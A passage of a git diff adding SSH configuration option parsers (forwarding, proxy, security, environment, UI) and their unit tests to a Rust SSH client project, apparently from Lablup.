{line_number}"); + } + host.send_env.extend(args.iter().map(|s| s.to_string())); + } + "setenv" => { + if args.is_empty() { + anyhow::bail!("SetEnv requires at least one name=value pair at line {line_number}"); + } + // SetEnv can have multiple name=value pairs + // If we have a single arg (from equals syntax), it might contain multiple pairs + let pairs: Vec<&str> = if args.len() == 1 && args[0].contains('=') { + // Single arg from equals syntax - might have multiple name=value pairs + args[0].split_whitespace().collect() + } else { + // Multiple args from space syntax - convert to &str references + args.iter().map(String::as_str).collect() + }; + + for pair in pairs { + if let Some(eq_pos) = pair.find('=') { + let name = pair[..eq_pos].to_string(); + let value = pair[eq_pos + 1..].to_string(); + host.set_env.insert(name, value); + } else { + anyhow::bail!( + "Invalid SetEnv format '{pair}' at line {line_number} (expected name=value)" + ); + } + } + } + _ => unreachable!( + "Unexpected keyword in parse_environment_option: {}", + keyword + ), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/forwarding.rs b/src/ssh/ssh_config/parser/options/forwarding.rs new file mode 100644 index 00000000..6fa620c5 --- /dev/null +++ b/src/ssh/ssh_config/parser/options/forwarding.rs @@ -0,0 +1,106 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH port forwarding options parsing +//! +//! Handles forwarding-related configuration options including agent +//! forwarding, X11 forwarding, and various port forwarding settings. + +use crate::ssh::ssh_config::parser::helpers::parse_yes_no; +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::Result; + +/// Parse forwarding-related SSH configuration options +pub(super) fn parse_forwarding_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "forwardagent" => { + if args.is_empty() { + anyhow::bail!("ForwardAgent requires a value at line {line_number}"); + } + host.forward_agent = Some(parse_yes_no(&args[0], line_number)?); + } + "forwardx11" => { + if args.is_empty() { + anyhow::bail!("ForwardX11 requires a value at line {line_number}"); + } + host.forward_x11 = Some(parse_yes_no(&args[0], line_number)?); + } + "localforward" => { + if args.is_empty() { + anyhow::bail!("LocalForward requires a value at line {line_number}"); + } + host.local_forward.push(args.join(" ")); + } + "remoteforward" => { + if args.is_empty() { + anyhow::bail!("RemoteForward requires a value at line {line_number}"); + } + host.remote_forward.push(args.join(" ")); + } + "dynamicforward" => { + if args.is_empty() { + anyhow::bail!("DynamicForward requires a value at line {line_number}"); + } + host.dynamic_forward.push(args.join(" ")); + } + "gatewayports" => { + if args.is_empty() { + anyhow::bail!("GatewayPorts requires a value at line {line_number}"); + } + // Validate GatewayPorts value (yes, no, or clientspecified) + let value = args[0].to_lowercase(); + match value.as_str() { + "yes" | "no" | "clientspecified" => { + host.gateway_ports = Some(value); + } + _ => { + anyhow::bail!( + "Invalid GatewayPorts value '{}' at line {} (expected yes, no, or clientspecified)", + args[0], + line_number + ); + } + } + } + "exitonforwardfailure" => { + if args.is_empty() { + anyhow::bail!("ExitOnForwardFailure requires a value at line {line_number}"); + } + host.exit_on_forward_failure = Some(parse_yes_no(&args[0], line_number)?); + } + "permitremoteopen" => { + if args.is_empty() { + anyhow::bail!("PermitRemoteOpen requires at least one value at line {line_number}"); + } + // PermitRemoteOpen can have multiple host:port patterns or special values + // Support both space-separated and single value + host.permit_remote_open + .extend(args.iter().map(|s| s.to_string())); + } + "clearallforwardings" => { + if args.is_empty() { + anyhow::bail!("ClearAllForwardings requires a value at line {line_number}"); + } + host.clear_all_forwardings = Some(parse_yes_no(&args[0], line_number)?); + } + _ => unreachable!("Unexpected keyword in parse_forwarding_option: {}", keyword), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/mod.rs b/src/ssh/ssh_config/parser/options/mod.rs new file mode 100644 index 00000000..f1ca388d --- /dev/null +++ b/src/ssh/ssh_config/parser/options/mod.rs @@ -0,0 +1,125 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH configuration option parsing +//! +//! This module provides a dispatcher that routes option parsing to +//! category-specific parsers for better code organization. + +mod authentication; +mod basic; +mod connection; +mod control; +mod environment; +mod forwarding; +mod proxy; +mod security; +mod ui; + +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::Result; + +/// Parse a configuration option for a host +/// +/// This function dispatches option parsing to the appropriate +/// category-specific parser based on the keyword. +pub fn parse_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + // Basic options + "hostname" | "user" | "port" => basic::parse_basic_option(host, keyword, args, line_number), + + // Authentication options + "identityfile" + | "identitiesonly" + | "certificatefile" + | "pubkeyauthentication" + | "passwordauthentication" + | "kbdinteractiveauthentication" + | "gssapiauthentication" + | "preferredauthentications" + | "hostbasedauthentication" + | "hostbasedacceptedalgorithms" => { + authentication::parse_authentication_option(host, keyword, args, line_number) + } + + // Security options + "stricthostkeychecking" + | "userknownhostsfile" + | "globalknownhostsfile" + | "hostkeyalgorithms" + | "kexalgorithms" + | "ciphers" + | "macs" + | "casignaturealgorithms" => { + security::parse_security_option(host, keyword, args, line_number) + } + + // Forwarding options + "forwardagent" + | "forwardx11" + | "localforward" + | "remoteforward" + | "dynamicforward" + | "gatewayports" + | "exitonforwardfailure" + | "permitremoteopen" + | "clearallforwardings" => { + forwarding::parse_forwarding_option(host, keyword, args, line_number) + } + + // Connection options + "serveraliveinterval" + | "serveralivecountmax" + | "connecttimeout" + | "connectionattempts" + | "batchmode" + | "compression" + | "tcpkeepalive" + | "addressfamily" + | "bindaddress" => connection::parse_connection_option(host, keyword, args, line_number), + + // Proxy options + "proxyjump" | "proxycommand" => proxy::parse_proxy_option(host, keyword, args, line_number), + + // Control options + "controlmaster" | "controlpath" | "controlpersist" => { + control::parse_control_option(host, keyword, args, line_number) + } + + // Environment options + "sendenv" | "setenv" => { + environment::parse_environment_option(host, keyword, args, line_number) + } + + // UI options + "requesttty" | "escapechar" | "loglevel" | "syslogfacility" | "protocol" => { + ui::parse_ui_option(host, keyword, args, line_number) + } + + _ => { + // Unknown option - log a warning but continue + tracing::warn!( + "Unknown SSH config option '{}' at line {}", + keyword, + line_number + ); + Ok(()) + } + } +} diff --git a/src/ssh/ssh_config/parser/options/proxy.rs b/src/ssh/ssh_config/parser/options/proxy.rs new file mode 100644 index 00000000..182f1745 --- /dev/null +++ b/src/ssh/ssh_config/parser/options/proxy.rs @@ -0,0 +1,50 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH proxy options parsing +//! +//! Handles proxy-related configuration options including ProxyJump +//! and ProxyCommand settings. + +use crate::ssh::ssh_config::security::validate_executable_string; +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::Result; + +/// Parse proxy-related SSH configuration options +pub(super) fn parse_proxy_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "proxyjump" => { + if args.is_empty() { + anyhow::bail!("ProxyJump requires a value at line {line_number}"); + } + host.proxy_jump = Some(args.join(" ")); + } + "proxycommand" => { + if args.is_empty() { + anyhow::bail!("ProxyCommand requires a value at line {line_number}"); + } + let command = args.join(" "); + validate_executable_string(&command, "ProxyCommand", line_number)?; + host.proxy_command = Some(command); + } + _ => unreachable!("Unexpected keyword in parse_proxy_option: {}", keyword), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/security.rs b/src/ssh/ssh_config/parser/options/security.rs new file mode 100644 index 00000000..098856bb --- /dev/null +++ b/src/ssh/ssh_config/parser/options/security.rs @@ -0,0 +1,125 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH security options parsing +//! +//! Handles security-related configuration options including host key +//! verification, known hosts files, and cryptographic algorithms. + +use crate::ssh::ssh_config::security::secure_validate_path; +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::{Context, Result}; + +/// Parse security-related SSH configuration options +pub(super) fn parse_security_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "stricthostkeychecking" => { + if args.is_empty() { + anyhow::bail!("StrictHostKeyChecking requires a value at line {line_number}"); + } + host.strict_host_key_checking = Some(args[0].clone()); + } + "userknownhostsfile" => { + if args.is_empty() { + anyhow::bail!("UserKnownHostsFile requires a value at line {line_number}"); + } + let path = + secure_validate_path(&args[0], "known_hosts", line_number).with_context(|| { + format!("Invalid UserKnownHostsFile path at line {line_number}") + })?; + host.user_known_hosts_file = Some(path); + } + "globalknownhostsfile" => { + if args.is_empty() { + anyhow::bail!("GlobalKnownHostsFile requires a value at line {line_number}"); + } + let path = + secure_validate_path(&args[0], "known_hosts", line_number).with_context(|| { + format!("Invalid GlobalKnownHostsFile path at line {line_number}") + })?; + host.global_known_hosts_file = Some(path); + } + "hostkeyalgorithms" => { + if args.is_empty() { + anyhow::bail!("HostKeyAlgorithms requires a value at line {line_number}"); + } + host.host_key_algorithms = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } + "kexalgorithms" => { + if args.is_empty() { + anyhow::bail!("KexAlgorithms requires a value at line {line_number}"); + } + host.kex_algorithms = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } + "ciphers" => { + if args.is_empty() { + anyhow::bail!("Ciphers requires a value at line {line_number}"); + } + host.ciphers = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } + "macs" => { + if args.is_empty() { + anyhow::bail!("MACs requires a value at line {line_number}"); + } + host.macs = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } + "casignaturealgorithms" => { + if args.is_empty() { + anyhow::bail!("CASignatureAlgorithms requires a value at line {line_number}"); + } + // Security: Limit the number of algorithms to prevent memory exhaustion + const MAX_ALGORITHMS: usize = 50; + let algorithms: Vec = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) // Skip empty strings from malformed input + .take(MAX_ALGORITHMS) + .collect(); + + if args.join(",").split(',').count() > MAX_ALGORITHMS { + tracing::warn!( + "CASignatureAlgorithms at line {} contains more than {} algorithms, truncated to first {}", + line_number, MAX_ALGORITHMS, MAX_ALGORITHMS + ); + } + + host.ca_signature_algorithms = algorithms; + } + _ => unreachable!("Unexpected keyword in parse_security_option: {}", keyword), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/options/ui.rs b/src/ssh/ssh_config/parser/options/ui.rs new file mode 100644 index 00000000..aee6cff9 --- /dev/null +++ b/src/ssh/ssh_config/parser/options/ui.rs @@ -0,0 +1,69 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! SSH user interface options parsing +//! +//! Handles UI-related configuration options including TTY settings, +//! escape characters, logging levels, and protocol preferences. + +use crate::ssh::ssh_config::types::SshHostConfig; +use anyhow::Result; + +/// Parse UI-related SSH configuration options +pub(super) fn parse_ui_option( + host: &mut SshHostConfig, + keyword: &str, + args: &[String], + line_number: usize, +) -> Result<()> { + match keyword { + "requesttty" => { + if args.is_empty() { + anyhow::bail!("RequestTTY requires a value at line {line_number}"); + } + host.request_tty = Some(args[0].clone()); + } + "escapechar" => { + if args.is_empty() { + anyhow::bail!("EscapeChar requires a value at line {line_number}"); + } + host.escape_char = Some(args[0].clone()); + } + "loglevel" => { + if args.is_empty() { + anyhow::bail!("LogLevel requires a value at line {line_number}"); + } + host.log_level = Some(args[0].clone()); + } + "syslogfacility" => { + if args.is_empty() { + anyhow::bail!("SyslogFacility requires a value at line {line_number}"); + } + host.syslog_facility = Some(args[0].clone()); + } + "protocol" => { + if args.is_empty() { + anyhow::bail!("Protocol requires a value at line {line_number}"); + } + host.protocol = args + .join(",") + .split(',') + .map(|s| s.trim().to_string()) + .collect(); + } + _ => unreachable!("Unexpected keyword in parse_ui_option: {}", keyword), + } + + Ok(()) +} diff --git a/src/ssh/ssh_config/parser/tests.rs b/src/ssh/ssh_config/parser/tests.rs new file mode 100644 index 00000000..af2558d1 --- /dev/null +++ b/src/ssh/ssh_config/parser/tests.rs @@ -0,0 +1,929 @@ +// Copyright 2025 Lablup Inc. and Jeongkyu Shin +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +//! Tests for SSH configuration parser + +use super::core::*; +use super::helpers::*; + +#[test] +fn test_parse_yes_no_values() { + assert!(parse_yes_no("yes", 1).unwrap()); + assert!(parse_yes_no("true", 1).unwrap()); + assert!(parse_yes_no("1", 1).unwrap()); + assert!(!parse_yes_no("no", 1).unwrap()); + assert!(!parse_yes_no("false", 1).unwrap()); + assert!(!parse_yes_no("0", 1).unwrap()); + assert!(parse_yes_no("invalid", 1).is_err()); +} + +#[test] +fn test_parse_single_host() { + let content = r#" +Host example.com + User testuser + Port 2222 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].host_patterns, vec!["example.com"]); + assert_eq!(hosts[0].user, Some("testuser".to_string())); + assert_eq!(hosts[0].port, Some(2222)); +} + +#[test] +fn test_parse_match_block() { + use crate::ssh::ssh_config::types::ConfigBlock; + + let content = r#" +Match host *.example.com user admin + ForwardAgent yes + Port 2222 + +Host web.example.com + User webuser +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + + // First should be the Match block + match &hosts[0].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 2); + } + _ => panic!("Expected Match block"), + } + assert_eq!(hosts[0].forward_agent, Some(true)); + assert_eq!(hosts[0].port, Some(2222)); + + // Second should be the Host block + assert_eq!(hosts[1].host_patterns, vec!["web.example.com"]); + assert_eq!(hosts[1].user, Some("webuser".to_string())); +} + +#[test] +fn test_parse_multiple_patterns() { + let content = r#" +Host web*.example.com *.test.com + User webuser +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!( + hosts[0].host_patterns, + vec!["web*.example.com", "*.test.com"] + ); + assert_eq!(hosts[0].user, Some("webuser".to_string())); +} + +#[test] +fn test_parse_comments_and_empty_lines() { + let content = r#" +# This is a comment +Host example.com + # Another comment + User testuser + + Port 2222 + +# Final comment +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].host_patterns, vec!["example.com"]); + assert_eq!(hosts[0].user, Some("testuser".to_string())); + assert_eq!(hosts[0].port, Some(2222)); +} + +#[test] +fn test_parse_equals_syntax() { + // Test Option=Value syntax + let content = r#" +Host example.com + User=testuser + Port=2222 + HostName=actual.example.com +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].host_patterns, vec!["example.com"]); + assert_eq!(hosts[0].user, Some("testuser".to_string())); + assert_eq!(hosts[0].port, Some(2222)); + assert_eq!(hosts[0].hostname, Some("actual.example.com".to_string())); +} + +#[test] +fn test_parse_mixed_syntax() { + // Test mixing both syntaxes in same config + let content = r#" +Host example.com + User testuser + Port=2222 + HostName = actual.example.com + ForwardAgent yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].host_patterns, vec!["example.com"]); + assert_eq!(hosts[0].user, Some("testuser".to_string())); + assert_eq!(hosts[0].port, Some(2222)); + assert_eq!(hosts[0].hostname, Some("actual.example.com".to_string())); + assert_eq!(hosts[0].forward_agent, Some(true)); +} + +#[test] +fn test_parse_match_all() { + use crate::ssh::ssh_config::match_directive::MatchCondition; + use crate::ssh::ssh_config::types::ConfigBlock; + + let content = r#" +Match all + ServerAliveInterval 60 + ServerAliveCountMax 3 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + + match &hosts[0].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 1); + assert_eq!(conditions[0], MatchCondition::All); + } + _ => panic!("Expected Match block"), + } + assert_eq!(hosts[0].server_alive_interval, Some(60)); + assert_eq!(hosts[0].server_alive_count_max, Some(3)); +} + +#[test] +fn test_parse_match_with_exec() { + use crate::ssh::ssh_config::match_directive::MatchCondition; + use crate::ssh::ssh_config::types::ConfigBlock; + + let content = r#" +Match exec "test -f /tmp/vpn" + ProxyJump vpn-gateway +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + + match &hosts[0].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 1); + match &conditions[0] { + MatchCondition::Exec(cmd) => { + assert_eq!(cmd, "test -f /tmp/vpn"); + } + _ => panic!("Expected Exec condition"), + } + } + _ => panic!("Expected Match block"), + } + assert_eq!(hosts[0].proxy_jump, Some("vpn-gateway".to_string())); +} + +#[test] +fn test_parse_include_directive_skipped() { + // Include directives should be skipped in direct parse mode + let content = r#" +Include ~/.ssh/config.d/* + +Host example.com + User testuser +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].host_patterns, vec!["example.com"]); + assert_eq!(hosts[0].user, Some("testuser".to_string())); +} + +#[test] +fn test_parse_global_options_ignored() { + // Global options should be ignored for now + let content = r#" +User globaluser +Port 22 + +Host example.com + User hostuser + +Host *.example.org + Port 2222 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0].user, Some("hostuser".to_string())); + assert_eq!(hosts[0].port, None); // Global port not inherited + assert_eq!(hosts[1].port, Some(2222)); + assert_eq!(hosts[1].user, None); // Global user not inherited +} + +#[test] +fn test_parse_case_insensitive_keywords() { + // Test that keywords are case-insensitive + let content = r#" +Host example.com + USER=testuser + Port=2222 + hostname=server.com + FORWARDAGENT=yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].user, Some("testuser".to_string())); + assert_eq!(hosts[0].port, Some(2222)); + assert_eq!(hosts[0].hostname, Some("server.com".to_string())); + assert_eq!(hosts[0].forward_agent, Some(true)); +} + +// Additional tests for edge cases +#[test] +fn test_parse_very_long_line() { + // Test line length limit enforcement + let long_line = "User=".to_string() + &"a".repeat(9000); + let content = format!("Host example.com\n {}", long_line); + let result = parse(&content); + assert!(result.is_err()); + assert!(result + .unwrap_err() + .to_string() + .contains("exceeds maximum length")); +} + +#[test] +fn test_parse_very_long_value() { + // Test value length limit enforcement + let long_value = "a".repeat(5000); + let content = format!("Host example.com\n User={}", long_value); + let result = parse(&content); + assert!(result.is_err()); + assert!(result + .unwrap_err() + .to_string() + .contains("exceeds maximum length")); +} + +// Integration tests for Include + Match scenarios +#[tokio::test] +async fn test_include_with_match_blocks() { + use crate::ssh::ssh_config::types::ConfigBlock; + use std::fs; + use tempfile::TempDir; + + let temp_dir = TempDir::new().unwrap(); + + // Create an included file with Match blocks + let include_file = temp_dir.path().join("match_rules.conf"); + let include_content = r#" +Match host *.prod.example.com user admin + ForwardAgent yes + Port 2222 + +Match localuser developer + RequestTTY yes +"#; + fs::write(&include_file, include_content).unwrap(); + + // Create main config that includes the Match rules + let main_config = temp_dir.path().join("config"); + let main_content = format!( + r#" +Include {} + +Host example.com + User testuser + Port 22 +"#, + include_file.display() + ); + fs::write(&main_config, &main_content).unwrap(); + + // Parse the configuration + let config = crate::ssh::ssh_config::SshConfig::load_from_file(&main_config) + .await + .unwrap(); + + // Should have 3 blocks: Include directive inserts files at Include location + // Expected order (per SSH spec): Included files first, then rest of main config + assert_eq!(config.hosts.len(), 3); + + // First should be Match host + user from included file (inserted at Include location) + match &config.hosts[0].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 2); + } + _ => panic!("Expected Match block at index 0"), + } + assert_eq!(config.hosts[0].forward_agent, Some(true)); + assert_eq!(config.hosts[0].port, Some(2222)); + + // Second should be Match localuser from included file + match &config.hosts[1].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 1); + } + _ => panic!("Expected Match block at index 1"), + } + assert_eq!(config.hosts[1].request_tty, Some("yes".to_string())); + + // Third is the Host block from main config (after Include directive) + assert_eq!(config.hosts[2].host_patterns, vec!["example.com"]); + assert_eq!(config.hosts[2].user, Some("testuser".to_string())); + assert_eq!(config.hosts[2].port, Some(22)); +} + +#[tokio::test] +async fn test_nested_includes_with_match() { + use crate::ssh::ssh_config::match_directive::MatchCondition; + use crate::ssh::ssh_config::types::ConfigBlock; + use std::fs; + use tempfile::TempDir; + + let temp_dir = TempDir::new().unwrap(); + + // Create a deeply included file with Host config + let deep_include = temp_dir.path().join("deep.conf"); + fs::write( + &deep_include, + r#" +Host deep.example.com + User deepuser + Port 3333 +"#, + ) + .unwrap(); + + // Create a middle include with Match and Include + let middle_include = temp_dir.path().join("middle.conf"); + fs::write( + &middle_include, + format!( + r#" +Match host *.dev.example.com + ForwardAgent no + Port 2222 + +Include {} +"#, + deep_include.display() + ), + ) + .unwrap(); + + // Create main config + let main_config = temp_dir.path().join("config"); + fs::write( + &main_config, + format!( + r#" +Host *.example.com + User defaultuser + +Include {} + +Match all + ServerAliveInterval 60 +"#, + middle_include.display() + ), + ) + .unwrap(); + + // Parse the configuration + let config = crate::ssh::ssh_config::SshConfig::load_from_file(&main_config) + .await + .unwrap(); + + // Should have 4 blocks in SSH spec order + assert_eq!(config.hosts.len(), 4); + + // Verify the order and content + assert_eq!(config.hosts[0].host_patterns, vec!["*.example.com"]); + assert_eq!(config.hosts[0].user, Some("defaultuser".to_string())); + + match &config.hosts[1].block_type { + Some(ConfigBlock::Match(_)) => { + assert_eq!(config.hosts[1].forward_agent, Some(false)); + assert_eq!(config.hosts[1].port, Some(2222)); + } + _ => panic!("Expected Match block"), + } + + assert_eq!(config.hosts[2].host_patterns, vec!["deep.example.com"]); + assert_eq!(config.hosts[2].user, Some("deepuser".to_string())); + + match &config.hosts[3].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 1); + assert_eq!(conditions[0], MatchCondition::All); + } + _ => panic!("Expected Match all block"), + } + assert_eq!(config.hosts[3].server_alive_interval, Some(60)); +} + +#[test] +fn test_match_resolution_with_host() { + use crate::ssh::ssh_config::types::ConfigBlock; + + // Test that Match conditions are properly evaluated alongside Host patterns + let content = r#" +Host *.example.com + User defaultuser + Port 22 + +Match host web*.example.com user admin + Port 8080 + ForwardAgent yes + +Host db.example.com + User dbuser + Port 5432 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 3); + + // Verify Host block + assert_eq!(hosts[0].host_patterns, vec!["*.example.com"]); + assert_eq!(hosts[0].user, Some("defaultuser".to_string())); + + // Verify Match block + match &hosts[1].block_type { + Some(ConfigBlock::Match(conditions)) => { + assert_eq!(conditions.len(), 2); + } + _ => panic!("Expected Match block"), + } + assert_eq!(hosts[1].port, Some(8080)); + assert_eq!(hosts[1].forward_agent, Some(true)); + + // Verify specific Host block + assert_eq!(hosts[2].host_patterns, vec!["db.example.com"]); + assert_eq!(hosts[2].user, Some("dbuser".to_string())); + assert_eq!(hosts[2].port, Some(5432)); +} + +#[test] +fn test_parse_certificate_file() { + let content = r#" +Host example.com + CertificateFile ~/.ssh/id_rsa-cert.pub + CertificateFile /etc/ssh/host-cert.pub +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].certificate_files.len(), 2); + // Paths should be validated and stored + assert!(hosts[0].certificate_files[0] + .to_string_lossy() + .contains("id_rsa-cert.pub")); + assert!(hosts[0].certificate_files[1] + .to_string_lossy() + .contains("host-cert.pub")); +} + +#[test] +fn test_parse_certificate_file_with_equals() { + // Test Option=Value syntax + let content = r#" +Host example.com + CertificateFile=~/.ssh/id_ed25519-cert.pub +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].certificate_files.len(), 1); + assert!(hosts[0].certificate_files[0] + .to_string_lossy() + .contains("id_ed25519-cert.pub")); +} + +#[test] +fn test_parse_ca_signature_algorithms() { + let content = r#" +Host example.com + CASignatureAlgorithms ssh-ed25519,rsa-sha2-512,rsa-sha2-256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 3); + assert_eq!(hosts[0].ca_signature_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].ca_signature_algorithms[1], "rsa-sha2-512"); + assert_eq!(hosts[0].ca_signature_algorithms[2], "rsa-sha2-256"); +} + +#[test] +fn test_parse_ca_signature_algorithms_with_spaces() { + // Test space-separated algorithms (each becomes separate arg, joined with commas, then split) + let content = r#" +Host example.com + CASignatureAlgorithms ssh-ed25519 rsa-sha2-512 rsa-sha2-256 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 3); + assert_eq!(hosts[0].ca_signature_algorithms[0], "ssh-ed25519"); + assert_eq!(hosts[0].ca_signature_algorithms[1], "rsa-sha2-512"); + assert_eq!(hosts[0].ca_signature_algorithms[2], "rsa-sha2-256"); +} + +#[test] +fn test_parse_ca_signature_algorithms_with_equals() { + let content = r#" +Host example.com + CASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384 +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].ca_signature_algorithms.len(), 2); + assert_eq!(hosts[0].ca_signature_algorithms[0], "ecdsa-sha2-nistp256"); + assert_eq!(hosts[0].ca_signature_algorithms[1], "ecdsa-sha2-nistp384"); +} + +#[test] +fn test_parse_gateway_ports_yes() { + let content = r#" +Host example.com + GatewayPorts yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); +} + +#[test] +fn test_parse_gateway_ports_no() { + let content = r#" +Host example.com + GatewayPorts no +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("no".to_string())); +} + +#[test] +fn test_parse_gateway_ports_clientspecified() { + let content = r#" +Host example.com + GatewayPorts clientspecified +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); +} + +#[test] +fn test_parse_gateway_ports_case_insensitive() { + // Should normalize to lowercase + let content = r#" +Host example.com + GatewayPorts ClientSpecified +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("clientspecified".to_string())); +} + +#[test] +fn test_parse_gateway_ports_invalid() { + let content = r#" +Host example.com + GatewayPorts invalid +"#; + let result = parse(content); + assert!(result.is_err()); + let err_msg = result.unwrap_err().to_string(); + // Error should mention GatewayPorts and the invalid value + assert!(err_msg.contains("GatewayPorts") || err_msg.contains("gatewayports")); + assert!(err_msg.contains("invalid")); +} + +#[test] +fn test_parse_gateway_ports_with_equals() { + let content = r#" +Host example.com + GatewayPorts=yes +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 1); + assert_eq!(hosts[0].gateway_ports, Some("yes".to_string())); +} + +#[test] +fn test_parse_exit_on_forward_failure() { + let content = r#" +Host example.com + ExitOnForwardFailure yes + +Host other.com + ExitOnForwardFailure no +"#; + let hosts = parse(content).unwrap(); + assert_eq!(hosts.len(), 2); + assert_eq!(hosts[0].exit_on_forward_failure, Some(true)); + assert_eq!(hosts[1].exit_on_forward_failure, Some(false)); +} + +#[test] +fn test_parse_exit_on_forward_failure_with_equals() { + let content = r#" +Host example.com + ExitOnForwardFailure=yes +"#; + let hosts = 